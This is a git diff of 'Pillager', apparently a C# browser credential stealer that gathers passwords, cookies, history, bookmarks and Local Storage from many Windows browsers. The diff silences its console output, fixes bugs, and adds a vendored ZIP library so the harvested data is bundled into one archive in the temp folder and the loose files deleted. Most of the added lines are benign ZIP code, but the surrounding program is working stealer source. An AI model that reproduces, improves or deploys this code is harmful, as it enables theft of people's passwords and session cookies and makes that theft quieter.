diff --git a/Pillager/Browsers/Chrome.cs b/Pillager/Browsers/Chrome.cs index 487732d..9c2d7b3 100644 --- a/Pillager/Browsers/Chrome.cs +++ b/Pillager/Browsers/Chrome.cs @@ -217,7 +217,6 @@ namespace Pillager.Browsers if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books); if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history); if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"), true); - Console.WriteLine("Files wrote to " + savepath); } } } diff --git a/Pillager/Browsers/FireFox.cs b/Pillager/Browsers/FireFox.cs index b3a262e..9679d26 100644 --- a/Pillager/Browsers/FireFox.cs +++ b/Pillager/Browsers/FireFox.cs @@ -301,7 +301,6 @@ namespace Pillager.Browsers if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history); if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books); if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords); - Console.WriteLine("Files wrote to " + savepath); } } } diff --git a/Pillager/Browsers/IE.cs b/Pillager/Browsers/IE.cs index 58b3254..c3ad055 100644 --- a/Pillager/Browsers/IE.cs +++ b/Pillager/Browsers/IE.cs @@ -244,7 +244,7 @@ namespace Pillager.Browsers { try { - urls[i] = myreg.GetValue("url" + i.ToString()).ToString(); + urls[i] = myreg.GetValue("url" + i.ToString())?.ToString(); } catch { } } @@ -289,7 +289,6 @@ namespace Pillager.Browsers if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords); if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books); if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history); - Console.WriteLine("Files wrote to " + savepath); } } } \ No newline at end of file diff --git a/Pillager/Browsers/OldSogou.cs b/Pillager/Browsers/OldSogou.cs index b014245..2657026 100644 --- a/Pillager/Browsers/OldSogou.cs +++ b/Pillager/Browsers/OldSogou.cs @@ -142,8 +142,6 @@ namespace Pillager.Browsers if (!String.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_cookies.txt"), cookies); if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history); if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"), true); - - Console.WriteLine("Files wrote to " + savepath); } } } diff --git a/Pillager/Helper/LockedFile.cs b/Pillager/Helper/LockedFile.cs index 510711b..54fceb0 100644 --- a/Pillager/Helper/LockedFile.cs +++ b/Pillager/Helper/LockedFile.cs @@ -27,7 +27,6 @@ namespace Pillager.Helper Native.CloseHandle(hfile); Native.NtResumeProcess(hProcess); Native.CloseHandle(hProcess); - File.WriteAllBytes("Cookies", fileBuffer); return fileBuffer; } catch { return null; } @@ -175,13 +174,6 @@ namespace Pillager.Helper return result; } - // Buffer contains: - // struct FILE_PROCESS_IDS_USING_FILE_INFORMATION - // { - // ULONG NumberOfProcessIdsInList; - // ULONG_PTR ProcessIdList[1]; - // } - IntPtr readBuffer = bufferPtr; int numEntries = Marshal.ReadInt32(readBuffer); // NumberOfProcessIdsInList readBuffer = new IntPtr(readBuffer.ToInt32() + IntPtr.Size); @@ -207,7 +199,7 @@ namespace Pillager.Helper private static IntPtr GetFileHandle(string name) { return Native.CreateFile(name, - 0, // "FileAccess.Neither" Read nor Write + 0, FileShare.Read | FileShare.Write | FileShare.Delete, IntPtr.Zero, FileMode.Open, diff --git a/Pillager/Pillager.csproj b/Pillager/Pillager.csproj index 7d36107..1c1e43d 100644 --- a/Pillager/Pillager.csproj +++ b/Pillager/Pillager.csproj @@ -58,6 +58,12 @@ + + + + + + diff --git a/Pillager/Program.cs b/Pillager/Program.cs index a806c8a..cf8a4d8 100644 --- a/Pillager/Program.cs +++ b/Pillager/Program.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.IO; +using System.IO.Compression; using Pillager.Browsers; namespace Pillager @@ -10,10 +11,10 @@ namespace Pillager static void Main(string[] args) { string savepath = Path.Combine(Path.GetTempPath(), "Pillager"); - if (!Directory.Exists(savepath)) - { - Directory.CreateDirectory(savepath); - } + string savezippath = savepath + ".zip"; + if (Directory.Exists(savepath)) Directory.Delete(savepath, true); + if (File.Exists(savezippath)) File.Delete(savezippath); + Directory.CreateDirectory(savepath); //IE IE.Save(savepath); @@ -31,7 +32,7 @@ namespace Pillager new List() { "Chrome Beta", "Google\\Chrome Beta\\User Data\\Default" } , new List() { "Chromium", "Chromium\\User Data\\Default" } , new List() { "Edge", "Microsoft\\Edge\\User Data\\Default" } , - new List() { "Brave-Browse", "BraveSoftware\\Brave-Browser\\User Data\\Default" } , + new List() { "Brave-Browser", "BraveSoftware\\Brave-Browser\\User Data\\Default" } , new List() { "QQBrowser", "Tencent\\QQBrowser\\User Data\\Default" } , new List() { "SogouExplorer", "Sogou\\SogouExplorer\\User Data\\Default" } , new List() { "Vivaldi", "Vivaldi\\User Data\\Default" } , @@ -45,6 +46,10 @@ namespace Pillager Chrome chrome = new Chrome(browser[0], chromepath); chrome.Save(savepath); } + + //ZIP + ZipFile.CreateFromDirectory(savepath, savezippath); + Directory.Delete(savepath, true); } } } diff --git a/Pillager/ZIP/CompressionLevel.cs b/Pillager/ZIP/CompressionLevel.cs new file mode 100644 index 0000000..95880aa --- /dev/null +++ b/Pillager/ZIP/CompressionLevel.cs @@ -0,0 +1,32 @@ +#region License +/* + Copyright (c) 2015, Paweł Hofman (CodeTitans) + All Rights Reserved. + + Licensed under MIT License + For more information please visit: + + https://github.com/phofman/zip/blob/master/LICENSE + or + http://opensource.org/licenses/MIT + + + For latest source code, documentation, samples + and more information please visit: + + https://github.com/phofman/zip +*/ +#endregion + +namespace System.IO.Compression +{ + /// + /// Specification of the completion level. + /// + public enum CompressionLevel + { + Fastest, + NoCompression, + Optimal + } +} diff --git a/Pillager/ZIP/ShellHelper.cs b/Pillager/ZIP/ShellHelper.cs new file mode 100644 index 0000000..ff588a5 --- /dev/null +++ b/Pillager/ZIP/ShellHelper.cs @@ -0,0 +1,297 @@ +#region License +/* + Copyright (c) 2015, Paweł Hofman (CodeTitans) + All Rights Reserved. + + Licensed under MIT License + For more information please visit: + + https://github.com/phofman/zip/blob/master/LICENSE + or + http://opensource.org/licenses/MIT + + + For latest source code, documentation, samples + and more information please visit: + + https://github.com/phofman/zip +*/ +#endregion + +using System.Reflection; +using System.Threading; + +namespace System.IO.Compression +{ + /// + /// Helper class for some Shell32 operations. + /// + static class ShellHelper + { + /// + /// Simple wrapper class for making reflection easier. + /// + public class ReflectionWrapper + { + private readonly object _o; + + /// + /// Init constructor. + /// + protected ReflectionWrapper(object o) + { + if (o == null) + throw new ArgumentNullException("o"); + + _o = o; + } + + /// + /// Gets the COM type of the wrapped object. + /// + protected Type WrappedType + { + get { return _o.GetType(); } + } + + /// + /// Gets the wrapped object value. + /// + protected internal object WrappedObject + { + get { return _o; } + } + + /// + /// Invokes the method with specified name. + /// + protected T InvokeMethod(string name, params object[] args) + { + return (T) WrappedType.InvokeMember(name, BindingFlags.InvokeMethod, null, WrappedObject, args != null && args.Length == 0 ? null : args); + } + + /// + /// Invokes the method with specified name. + /// + protected object InvokeMethod(string name, params object[] args) + { + return WrappedType.InvokeMember(name, BindingFlags.InvokeMethod, null, WrappedObject, args != null && args.Length == 0 ? null : args); + } + + /// + /// Gets the value of specified property. + /// + protected T GetProperty(string name) + { + return (T) WrappedType.InvokeMember(name, BindingFlags.GetProperty, null, WrappedObject, null); + } + + /// + /// Sets the value of specified property. + /// + protected void SetProperty(string name, object value) + { + WrappedType.InvokeMember(name, BindingFlags.SetProperty, null, WrappedObject, new object[] { value }); + } + } + + /// + /// Wrapper class for the Shell Folder COM class. + /// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787868(v=vs.85).aspx + /// + public class Folder : ReflectionWrapper + { + public Folder(object o, string path) + : base(o) + { + Path = path; + } + + #region Properties + + /// + /// Full path represented by this folder (or ZIP archive). + /// + public string Path + { + get; + private set; + } + + #endregion + + /// + /// Returns a string that represents the current object. + /// + /// + /// A string that represents the current object. + /// + public override string ToString() + { + return Path; + } + + public FolderItems Items() + { + return new FolderItems(InvokeMethod("Items")); + } + + /// + /// Copies specified items (single file or collection) into current folder or ZIP archive. + /// + public void Copy(ReflectionWrapper items) + { + const int NoProgressDialog = 4; + const int RespondYesToAllDialogs = 16; + const int NoUiOnError = 1024; + + // HINT: somehow flags about UI are ignored and if operation takes a bit more time (from several seconds up) + // shell will display the progress with option to cancel + // HINT: this call is asynchronous and starts another thread without any way to easily monitor progress + InvokeMethod("CopyHere", items.WrappedObject, NoProgressDialog | RespondYesToAllDialogs | NoUiOnError); + } + } + + /// + /// Wrapper class for the Shell FolderItems COM class. + /// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787800(v=vs.85).aspx + /// + public class FolderItems : ReflectionWrapper + { + public FolderItems(object o) + : base(o) + { + } + + /// + /// Gets the number of items. + /// + public int Count + { + get { return GetProperty("Count"); } + } + + /// + /// Gets item at specified index. + /// + public FolderItem this[int index] + { + get { return new FolderItem(InvokeMethod("Item", index)); } + } + } + + /// + /// Wrapper class for the Shell FolderItem COM class. + /// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787810(v=vs.85).aspx + /// + public class FolderItem : ReflectionWrapper + { + public FolderItem(object o) + : base(o) + { + } + + /// + /// Checks if given item is a folder. + /// + public bool IsFolder + { + get { return GetProperty("IsFolder"); } + } + + /// + /// Gets or sets the name. + /// + public string Name + { + get { return GetProperty("Name"); } + set { SetProperty("Name", value); } + } + + /// + /// Gets the size. + /// + public long Size + { + get { return GetProperty("Size"); } + } + + /// + /// Gets the full path of an item. If it's inside the ZIP archive, it will be prefixed with the path to that ZIP. + /// + public string Path + { + get { return GetProperty("Path"); } + } + + /// + /// Gets the folder representation of an item (if it's actually a folder) or null. + /// + public Folder AsFolder + { + get + { + if (IsFolder) + { + return new Folder(GetProperty("GetFolder"), Path); + } + + return null; + } + } + + /// + /// Returns a string that represents the current object. + /// + /// + /// A string that represents the current object. + /// + public override string ToString() + { + return Path; + } + } + + /// + /// Gets the folder wrapper representation for specified path. + /// + public static Folder GetShell32Folder(string path) + { + if (string.IsNullOrEmpty(path)) + throw new ArgumentNullException("path"); + if (!Directory.Exists(path) && !File.Exists(path)) + throw new ArgumentOutOfRangeException("path", "Requested path doesn't exist"); + + var shellAppType = Type.GetTypeFromProgID("Shell.Application"); + var shell = Activator.CreateInstance(shellAppType); + return new Folder(shellAppType.InvokeMember("NameSpace", BindingFlags.InvokeMethod, null, shell, new object[] { path }), path); + } + + /// + /// Waits until specified file is not in use. + /// + public static void WaitForCompletion(string fileName) + { + Thread.Sleep(300); + while (File.Exists(fileName) && IsInUse(fileName)) + { + Thread.Sleep(100); + } + } + + private static bool IsInUse(string filePath) + { + try + { + var file = File.OpenRead(filePath); + file.Close(); + return false; + } + catch + { + return true; + } + } + + } +} diff --git a/Pillager/ZIP/ZipArchive.cs b/Pillager/ZIP/ZipArchive.cs new file mode 100644 index 0000000..6f352e5 --- /dev/null +++ b/Pillager/ZIP/ZipArchive.cs @@ -0,0 +1,476 @@ +#region License +/* + Copyright (c) 2015, Paweł Hofman (CodeTitans) + All Rights Reserved. + + Licensed under MIT License + For more information please visit: + + https://github.com/phofman/zip/blob/master/LICENSE + or + http://opensource.org/licenses/MIT + + + For latest source code, documentation, samples + and more information please visit: + + https://github.com/phofman/zip +*/ +#endregion + +using System.Collections.Generic; +using System.Collections.ObjectModel; + +namespace System.IO.Compression +{ + /// + /// Class representing ZIP archive. + /// https://msdn.microsoft.com/en-us/library/system.io.compression.ziparchive(v=vs.110).aspx + /// + public sealed class ZipArchive : IDisposable + { + private readonly string _zipFileName; + private readonly string _tempFolder; + private readonly ZipArchiveMode _mode; + + private readonly IList _existing; + private readonly List _toAdd; + + /// + /// Opens specified archive for reading. + /// + public ZipArchive(FileStream zipStream) + : this(zipStream, ZipArchiveMode.Read) + { + } + + /// + /// Opens specified archive in given mode. + /// + public ZipArchive(FileStream zipFileStream, ZipArchiveMode mode) + { + if (zipFileStream == null) + throw new ArgumentNullException("zipFileStream"); + + _mode = mode; + _zipFileName = zipFileStream.Name; + _tempFolder = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName()); + + // HINT: immediatelly close the file, as we will use Shell API to manipulate the file + // and we need to let it modify its content (that's why other constructors are not + // supported, that let to leave this stream open) + zipFileStream.Close(); + CreateFolders(); + + // initialize empty ZIP file if needed: + var fileInfo = new FileInfo(_zipFileName); + if (mode == ZipArchiveMode.Create || (mode == ZipArchiveMode.Update && fileInfo.Length == 0) || (mode == ZipArchiveMode.Read && fileInfo.Length == 0)) + { + CreateEmptyZipFile(); + _existing = new List(); + } + else + { + _existing = ScanForEntries(_zipFileName); + } + + Entries = new ReadOnlyCollection(_existing); + _toAdd = new List(); + } + + ~ZipArchive() + { + Dispose(false); + } + + #region IDisposable Implementation + + private void Dispose(bool disposing) + { + try + { + if (disposing) + { + switch (_mode) + { + case ZipArchiveMode.Create: // fall-though + case ZipArchiveMode.Update: + ZipContent(); + break; + case ZipArchiveMode.Read: + // do nothing... + break; + default: + throw new IOException("Unsupported mode to update the archive on disposing"); + } + } + } + catch + { + // don't throw an exception, when called from finalizer's thread + if (disposing) + throw; + } + finally + { + DeleteTemp(); + } + } + + /// + /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + #endregion + + #region Properties + + /// + /// Gets a value that describes the type of action the archive can perform on entries. + /// + public ZipArchiveMode Mode + { + get { return _mode; } + } + + /// + /// Gets the collection of entries that are currently in the archive. + /// + public ReadOnlyCollection Entries + { + get; + private set; + } + + #endregion + + #region Helper Methods + + /// + /// Makes sure all parent folders exist for specified path to file or directory. + /// + private static string CreateParentFolder(string path) + { + if (string.IsNullOrEmpty(path)) + throw new ArgumentNullException("path"); + + path = Path.GetDirectoryName(path); + if (!string.IsNullOrEmpty(path) && !Directory.Exists(path)) + { + Directory.CreateDirectory(path); + } + + return path; + } + + private void CreateFolders() + { + CreateParentFolder(_zipFileName); + + try + { + Directory.CreateDirectory(_tempFolder); + } + catch + { + } + } + + private void DeleteTemp() + { + try + { + Directory.Delete(_tempFolder, true); + } + catch + { + } + } + + private void CreateEmptyZipFile() + { + byte[] headerBits = new byte[] { 80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; + File.WriteAllBytes(_zipFileName, headerBits); + } + + private void ZipContent() + { + var destFile = ShellHelper.GetShell32Folder(_zipFileName); + var srcFolder = ShellHelper.GetShell32Folder(_tempFolder); + var items = srcFolder.Items(); + + // copy folder into a ZIP file using Windows Shell API + destFile.Copy(items); + ShellHelper.WaitForCompletion(destFile.Path); + } + + private void UnzipContent(string targetFolder) + { + if (!Directory.Exists(targetFolder)) + Directory.CreateDirectory(targetFolder); + + var srcFile = ShellHelper.GetShell32Folder(_zipFileName); + var destFolder = ShellHelper.GetShell32Folder(targetFolder); + + destFolder.Copy(srcFile.Items()); + ShellHelper.WaitForCompletion(srcFile.Path); + } + + private void CopyAddedFiles(string targetFolder) + { + foreach (var item in _toAdd) + { + var targetFile = Path.Combine(targetFolder, item.FullName); + if (!string.IsNullOrEmpty(item.TempLocalPath)) + { + CreateParentFolder(targetFile); + File.Copy(item.TempLocalPath, targetFile, true); + } + } + } + + private static string NormalizeEntryName(string entryName) + { + if (string.IsNullOrEmpty(entryName)) + throw new ArgumentNullException("entryName"); + + // remove leading directory separators: + int i = 0; + while (i < entryName.Length && (entryName[i] == Path.AltDirectorySeparatorChar || entryName[i] == Path.DirectorySeparatorChar)) + i++; + + if (i > 0) + { + entryName = entryName.Substring(i); + } + + // and make sure the same separator is used across the whole entry name's path: + return entryName.Replace(Path.AltDirectorySeparatorChar, Path.DirectorySeparatorChar); + } + + private static int Find(IEnumerable list, ZipArchiveEntry item) + { + int i = 0; + + foreach (var x in list) + { + if (x.Match(item)) + return i; + i++; + } + + return -1; + } + + private ZipArchiveEntry Add(ZipArchiveEntry item) + { + var existingIndex = Find(_toAdd, item); + if (existingIndex >= 0) + { + _toAdd.RemoveAt(existingIndex); + } + + _toAdd.Add(item); + + existingIndex = Find(_existing, item); + if (existingIndex > 0) + { + _existing.RemoveAt(existingIndex); + } + + _existing.Add(item); + return item; + } + + private IList ScanForEntries(string zipFileName) + { + var result = new List(); + + if (File.Exists(zipFileName)) + { + var srcFolder = ShellHelper.GetShell32Folder(zipFileName); + + ScanAdd(result, zipFileName, srcFolder.Items()); + } + + return result; + } + + private void ScanAdd(List result, string initialPath, ShellHelper.FolderItems items) + { + if (items != null) + { + int count = items.Count; + for (int i = 0; i < count; i++) + { + var item = items[i]; + var folder = item.AsFolder; + if (folder != null) + { + ScanAdd(result, initialPath, folder.Items()); + } + else + { + var path = item.Path; + if (path != null && path.StartsWith(initialPath, StringComparison.Ordinal)) + path = path.Substring(initialPath.Length + 1); + result.Add(new ZipArchiveEntry(this, item, null, path, item.Size)); + } + } + } + } + + #endregion + + /// + /// Archives a file by compressing it and adding it to the ZIP. + /// + public ZipArchiveEntry CreateEntryFromFile(string sourceFileName, string entryName, CompressionLevel compressionLevel) + { + if (string.IsNullOrEmpty(sourceFileName)) + throw new ArgumentNullException("sourceFileName"); + if (_mode == ZipArchiveMode.Read) + throw new NotSupportedException("Current mode doesn't support items creation"); + if (string.IsNullOrEmpty(entryName)) + throw new ArgumentNullException("entryName"); + + entryName = NormalizeEntryName(entryName); + + // copy file into temp folder and register for future compression: + var path = Path.GetFullPath(sourceFileName); + var destPath = Path.Combine(_tempFolder, entryName); + + CreateParentFolder(destPath); + File.Copy(path, destPath, true); + return Add(new ZipArchiveEntry(this, null, destPath, entryName, new FileInfo(destPath).Length)); + } + + /// + /// Archives a file by compressing it and adding it to the ZIP. + /// + public ZipArchiveEntry CreateEntryFromFile(string sourceFileName, string entryName) + { + return CreateEntryFromFile(sourceFileName, entryName, CompressionLevel.Optimal); + } + + /// + /// Extracts all the files in the ZIP archive to specified directory. + /// + public void ExtractToDirectory(string destinationDirectoryName) + { + if (string.IsNullOrEmpty(destinationDirectoryName)) + throw new ArgumentNullException("destinationDirectoryName"); + + var targetFolder = Path.GetFullPath(destinationDirectoryName); + + UnzipContent(targetFolder); + CopyAddedFiles(targetFolder); + } + + /// + /// Creates an empty entry that has the specified path and entry name in the archive. + /// + public ZipArchiveEntry CreateEntry(string entryName) + { + return CreateEntry(entryName, CompressionLevel.Optimal); + } + + /// + /// Creates an empty entry that has the specified path and entry name in the archive. + /// + public ZipArchiveEntry CreateEntry(string entryName, CompressionLevel compressionLevel) + { + if (_mode == ZipArchiveMode.Read) + throw new NotSupportedException("Current mode doesn't support items creation"); + if (string.IsNullOrEmpty(entryName)) + throw new ArgumentNullException("entryName"); + + entryName = NormalizeEntryName(entryName); + + // create an empty file + var destPath = Path.Combine(_tempFolder, entryName); + + CreateParentFolder(destPath); + File.WriteAllBytes(destPath, new byte[0]); + + return Add(new ZipArchiveEntry(this, null, destPath, entryName, 0)); + } + + internal void Delete(ZipArchiveEntry item) + { + if (item != null) + { + if (!string.IsNullOrEmpty(item.TempLocalPath)) + File.Delete(item.TempLocalPath); + + // if this is the last file withing directory, remove the directory to avoid runtime UI with errors: + var parentFolder = Path.GetDirectoryName(item.TempLocalPath); + if (!string.IsNullOrEmpty(parentFolder)) + { + var files = Directory.GetFiles(parentFolder, "*", SearchOption.AllDirectories); + if (files == null || files.Length == 0) + { + Directory.Delete(parentFolder, true); + } + } + + bool removedFromAdd = _toAdd.Remove(item); + bool removedFromExisting = _existing.Remove(item); + + if (removedFromAdd || removedFromExisting) + return; + + // it's not supported to delete files from existing ZIP: + throw new IOException("Unable to delete file from ZIP archive"); + } + } + + internal void ExtractToFile(ZipArchiveEntry item, string destinationFileName, bool overwrite) + { + if (item != null && !string.IsNullOrEmpty(destinationFileName)) + { + var destPath = Path.GetFullPath(destinationFileName); + var destFolder = CreateParentFolder(destPath); + + // is it an item from the local temp folder (item to add)? + if (!string.IsNullOrEmpty(item.TempLocalPath)) + { + File.Copy(item.TempLocalPath, destPath, overwrite); + } + else + { + // is it an item from the existing ZIP? + if (item.Item == null) + throw new IOException("Invalid entry to extract"); + + var destination = ShellHelper.GetShell32Folder(destFolder); + var itemFolder = item.Item.AsFolder; + if (itemFolder != null) + { + // TODO: this should potentially work, however waiting for completion method is required and ZipAchiveEntry refer to a file rather than to folder... + //destination.Copy(itemFolder.Items(), false, null); + throw new IOException("Extraction of folder is not supported via ZipArchiveEntry item"); + } + + // TODO: this could potentially overwrite existing file + destination.Copy(item.Item); + var path = Path.Combine(destFolder, item.Name); + ShellHelper.WaitForCompletion(path); + + // update the name to required one: + if (path != destinationFileName) + { + if (File.Exists(destinationFileName)) + File.Delete(destinationFileName); + File.Move(path, destinationFileName); + } + } + } + } + } +} diff --git a/Pillager/ZIP/ZipArchiveEntry.cs b/Pillager/ZIP/ZipArchiveEntry.cs new file mode 100644 index 0000000..8abb7f8 --- /dev/null +++ b/Pillager/ZIP/ZipArchiveEntry.cs @@ -0,0 +1,166 @@ +#region License +/* + Copyright (c) 2015, Paweł Hofman (CodeTitans) + All Rights Reserved. + + Licensed under MIT License + For more information please visit: + + https://github.com/phofman/zip/blob/master/LICENSE + or + http://opensource.org/licenses/MIT + + + For latest source code, documentation, samples + and more information please visit: + + https://github.com/phofman/zip +*/ +#endregion + +namespace System.IO.Compression +{ + /// + /// Representation of a single item inside a ZIP archive. + /// https://msdn.microsoft.com/en-us/library/system.io.compression.ziparchiveentry(v=vs.110).aspx + /// + public sealed class ZipArchiveEntry + { + internal ZipArchiveEntry(ZipArchive archive, ShellHelper.FolderItem item, string tempLocalPath, string entryName, long length) + { + if (archive == null) + throw new ArgumentNullException("archive"); + if (string.IsNullOrEmpty(entryName)) + throw new ArgumentNullException("entryName"); + + Archive = archive; + Item = item; + TempLocalPath = tempLocalPath; + FullName = entryName; + Name = Path.GetFileName(entryName); + Length = length; + } + + #region Properties + + public ZipArchive Archive + { + get; + private set; + } + + public long CompressedLength + { + get { return Length; } + } + + /// + /// Gets the relative path of the entry in ZIP archive. + /// + public string FullName + { + get; + private set; + } + + public DateTime LastWriteTime + { + get; + private set; + } + + public long Length + { + get; + private set; + } + + public string Name + { + get; + private set; + } + + internal ShellHelper.FolderItem Item + { + get; + private set; + } + + internal string TempLocalPath + { + get; + private set; + } + + #endregion + + /// + /// Returns a string that represents the current object. + /// + /// + /// A string that represents the current object. + /// + public override string ToString() + { + return FullName; + } + + internal bool Match(ZipArchiveEntry item) + { + if (item == null) + return false; + return string.CompareOrdinal(item.FullName, FullName) == 0; + } + + /// + /// Opens the entry from the zip archive. + /// + public Stream Open() + { + switch (Archive.Mode) + { + case ZipArchiveMode.Read: + if (string.IsNullOrEmpty(TempLocalPath)) + throw new IOException(string.Concat("Unable to find requested file matching the (\"", FullName, "\")")); + return new FileStream(TempLocalPath, FileMode.Open, FileAccess.Read); + case ZipArchiveMode.Create: // fall-through + case ZipArchiveMode.Update: + return new FileStream(TempLocalPath, FileMode.OpenOrCreate, FileAccess.ReadWrite); + default: + throw new IOException("This mode is not supported"); + } + } + + /// + /// Deletes the entry from the zip archive. + /// + public void Delete() + { + Archive.Delete(this); + TempLocalPath = null; + } + + /// + /// Extracts an entry in the zip archive to a file. + /// + public void ExtractToFile(string destinationFileName) + { + if (string.IsNullOrEmpty(destinationFileName)) + throw new ArgumentNullException("destinationFileName"); + + Archive.ExtractToFile(this, destinationFileName, false); + } + + /// + /// Extracts an entry in the zip archive to a file. + /// + public void ExtractToFile(string destinationFileName, bool overwrite) + { + if (string.IsNullOrEmpty(destinationFileName)) + throw new ArgumentNullException("destinationFileName"); + + Archive.ExtractToFile(this, destinationFileName, overwrite); + } + } +} diff --git a/Pillager/ZIP/ZipArchiveMode.cs b/Pillager/ZIP/ZipArchiveMode.cs new file mode 100644 index 0000000..cc70048 --- /dev/null +++ b/Pillager/ZIP/ZipArchiveMode.cs @@ -0,0 +1,32 @@ +#region License +/* + Copyright (c) 2015, Paweł Hofman (CodeTitans) + All Rights Reserved. + + Licensed under MIT License + For more information please visit: + + https://github.com/phofman/zip/blob/master/LICENSE + or + http://opensource.org/licenses/MIT + + + For latest source code, documentation, samples + and more information please visit: + + https://github.com/phofman/zip +*/ +#endregion + +namespace System.IO.Compression +{ + /// + /// Specifies values for interacting with zip archive entries. + /// + public enum ZipArchiveMode + { + Read, + Create, + Update, + } +} diff --git a/Pillager/ZIP/ZipFile.cs b/Pillager/ZIP/ZipFile.cs new file mode 100644 index 0000000..cf00b3d --- /dev/null +++ b/Pillager/ZIP/ZipFile.cs @@ -0,0 +1,156 @@ +#region License +/* + Copyright (c) 2015, Paweł Hofman (CodeTitans) + All Rights Reserved. + + Licensed under MIT License + For more information please visit: + + https://github.com/phofman/zip/blob/master/LICENSE + or + http://opensource.org/licenses/MIT + + + For latest source code, documentation, samples + and more information please visit: + + https://github.com/phofman/zip +*/ +#endregion + +using System.Text; + +namespace System.IO.Compression +{ + /// + /// Helper class to simplify operations over ZIP archive. + /// + public static class ZipFile + { + /// + /// Creates a zip archive that contains the files and directories from the specified directory. + /// + public static void CreateFromDirectory(string sourceDirectoryName, string destinationArchiveFileName) + { + CreateFromDirectory(sourceDirectoryName, destinationArchiveFileName, CompressionLevel.Optimal, false, null); + } + + /// + /// Creates a zip archive that contains the files and directories from the specified directory. + /// + public static void CreateFromDirectory(string sourceDirectoryName, string destinationArchiveFileName, CompressionLevel compressionLevel, bool includeBaseDirectory) + { + CreateFromDirectory(sourceDirectoryName, destinationArchiveFileName, compressionLevel, includeBaseDirectory, null); + } + + /// + /// Creates a zip archive that contains the files and directories from the specified directory. + /// + public static void CreateFromDirectory(string sourceDirectoryName, string destinationArchiveFileName, CompressionLevel compressionLevel, bool includeBaseDirectory, Encoding entryNameEncoding) + { + if (string.IsNullOrEmpty(sourceDirectoryName)) + throw new ArgumentNullException("sourceDirectoryName"); + if (string.IsNullOrEmpty(destinationArchiveFileName)) + throw new ArgumentNullException("destinationArchiveFileName"); + + var filesToAdd = Directory.GetFiles(sourceDirectoryName, "*", SearchOption.AllDirectories); + var entryNames = GetEntryNames(filesToAdd, sourceDirectoryName, includeBaseDirectory); + + using(var zipFileStream = new FileStream(destinationArchiveFileName, FileMode.Create)) + { + using (var archive = new ZipArchive(zipFileStream, ZipArchiveMode.Create)) + { + for (int i = 0; i < filesToAdd.Length; i++) + { + archive.CreateEntryFromFile(filesToAdd[i], entryNames[i], compressionLevel); + } + } + } + } + + private static string[] GetEntryNames(string[] names, string sourceFolder, bool includeBaseName) + { + if (names == null || names.Length == 0) + return new string[0]; + + if (includeBaseName) + sourceFolder = Path.GetDirectoryName(sourceFolder); + + int length = string.IsNullOrEmpty(sourceFolder) ? 0 : sourceFolder.Length; + if (length > 0 && sourceFolder != null && sourceFolder[length - 1] != Path.DirectorySeparatorChar && sourceFolder[length - 1] != Path.AltDirectorySeparatorChar) + length++; + + var result = new string[names.Length]; + for (int i = 0; i < names.Length; i++) + { + result[i] = names[i].Substring(length); + } + + return result; + } + + /// + /// Extracts all the files in the specified zip archive to a directory on the file system. + /// + public static void ExtractToDirectory(string sourceArchiveFileName, string destinationDirectoryName) + { + ExtractToDirectory(sourceArchiveFileName, destinationDirectoryName, null); + } + + /// + /// Extracts all the files in the specified zip archive to a directory on the file system. + /// + public static void ExtractToDirectory(string sourceArchiveFileName, string destinationDirectoryName, Encoding entryNameEncoding) + { + if (string.IsNullOrEmpty(sourceArchiveFileName)) + throw new ArgumentNullException("sourceArchiveFileName"); + if (string.IsNullOrEmpty(destinationDirectoryName)) + throw new ArgumentNullException("destinationDirectoryName"); + + using (var zipFileStream = new FileStream(sourceArchiveFileName, FileMode.Open)) + { + using (var archive = new ZipArchive(zipFileStream, ZipArchiveMode.Read)) + { + archive.ExtractToDirectory(destinationDirectoryName); + } + } + } + + /// + /// Opens a zip archive at the specified path and in the specified mode. + /// + public static ZipArchive Open(string archiveFileName, ZipArchiveMode mode) + { + return Open(archiveFileName, mode, null); + } + + /// + /// Opens a zip archive at the specified path and in the specified mode. + /// + public static ZipArchive Open(string archiveFileName, ZipArchiveMode mode, Encoding entryNameEncoding) + { + if (string.IsNullOrEmpty(archiveFileName)) + throw new ArgumentNullException("archiveFileName"); + + switch (mode) + { + case ZipArchiveMode.Create: + return new ZipArchive(new FileStream(archiveFileName, FileMode.Create), ZipArchiveMode.Create); + case ZipArchiveMode.Update: + return new ZipArchive(new FileStream(archiveFileName, FileMode.OpenOrCreate), ZipArchiveMode.Update); + case ZipArchiveMode.Read: + return new ZipArchive(new FileStream(archiveFileName, FileMode.Open), ZipArchiveMode.Read); + default: + throw new IOException("Unsupported archive mode"); + } + } + + /// + /// Opens a zip archive for reading at the specified path. + /// + public static ZipArchive OpenRead(string archiveFileName) + { + return Open(archiveFileName, ZipArchiveMode.Read, null); + } + } +} diff --git a/README.md b/README.md index d6de3ab..dd2a356 100644 --- a/README.md +++ b/README.md @@ -10,14 